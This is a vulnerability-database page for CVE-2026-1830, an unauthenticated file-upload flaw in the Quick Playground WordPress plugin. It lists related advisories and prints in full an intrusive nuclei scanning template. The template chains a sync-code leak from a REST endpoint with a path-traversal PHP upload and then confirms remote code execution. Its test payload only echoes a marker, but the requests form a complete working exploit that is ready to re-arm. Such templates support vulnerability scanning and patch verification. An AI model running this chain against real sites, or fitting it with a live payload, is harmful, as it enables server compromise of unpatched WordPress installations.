Lucene search
+L

Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload

🗓️ 28 Jul 2026 05:36:51Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

Quick Playground WordPress plugin up to 1.3.1 allows unauthenticated file upload and code execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-1830
9 Apr 202603:25
attackerkb
Circl
CVE-2026-1830
8 Apr 202620:16
circl
CNNVD
WordPress plugin Quick Playground 安全漏洞
9 Apr 202600:00
cnnvd
CVE
CVE-2026-1830
9 Apr 202603:25
cve
Cvelist
CVE-2026-1830 Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload
9 Apr 202603:25
cvelist
Exploit DB
Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution
29 May 202600:00
exploitdb
EUVD
EUVD-2026-20843
9 Apr 202606:30
euvd
NVD
CVE-2026-1830
9 Apr 202605:16
nvd
Packet Storm
📄 WordPress Quick Playground 1.3.1 Shell Upload
29 May 202600:00
packetstorm
Packet Storm
📄 Quick Playground for WordPress 1.3.1 Shell Upload
9 Jun 202600:00
packetstorm
Rows per page
id: CVE-2026-1830

info:
  name: Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload
  author: iamatownboy
  severity: critical
  description: |
    The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1.
    The plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE.
  impact: |
    Unauthenticated attackers can retrieve the sync code via the blueprint endpoint, upload arbitrary PHP files via path traversal in the upload_image endpoint, and achieve remote code execution on the server.
  remediation: |
    Update Quick Playground to version 1.3.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1830
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/308cd28a-a477-4bc6-a392-ad5a9eca1cb5?source=cve
    - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/api.php#L39
    - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/expro-api.php#L419
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3500839%40quick-playground&new=3500839%40quick-playground&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1830
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: davidfcarr
    product: quick-playground
    framework: wordpress
    publicwww-query: "/plugins/quick-playground/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,quick-playground,unauth,rce,file-upload,intrusive

variables:
  filename: "{{rand_text_alpha(8)}}.php"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/quick-playground/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - contains(body, "Quick Playground")
          - compare_versions(version, "<= 1.3.1")
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-json/quickplayground/v1/blueprint/default HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: regex
        part: body
        regex:
          - '"qckply_sync_code"\s*:\s*"[a-zA-Z0-9]+"'
        internal: true

    extractors:
      - type: regex
        name: sync_code
        part: body
        group: 1
        regex:
          - '"qckply_sync_code"\s*:\s*"([a-zA-Z0-9]+)"'
        internal: true

  - raw:
      - |
        POST /wp-json/quickplayground/v1/upload_image/default HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"sync_code":"{{sync_code}}","base64":"PD9waHAgZWNobyAiQ1ZFLTIwMjYtMTgzMCI7ID8+","filename":"../../{{filename}}"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "saving to")
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/{{filename}}"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "CVE-2026-1830")
        condition: and
# digest: 4a0a004730450221009be25de13faeb45583ac10ec5c076a55ffcdc2dc7abcdebaea023cb6d7e7671902203d164e6445736387a25c924f839bffb83b8927fa4cbe4bbdcf034ad23785bb7f:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jul 2026 10:42Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.19.8
EPSS0.03092
SSVC
2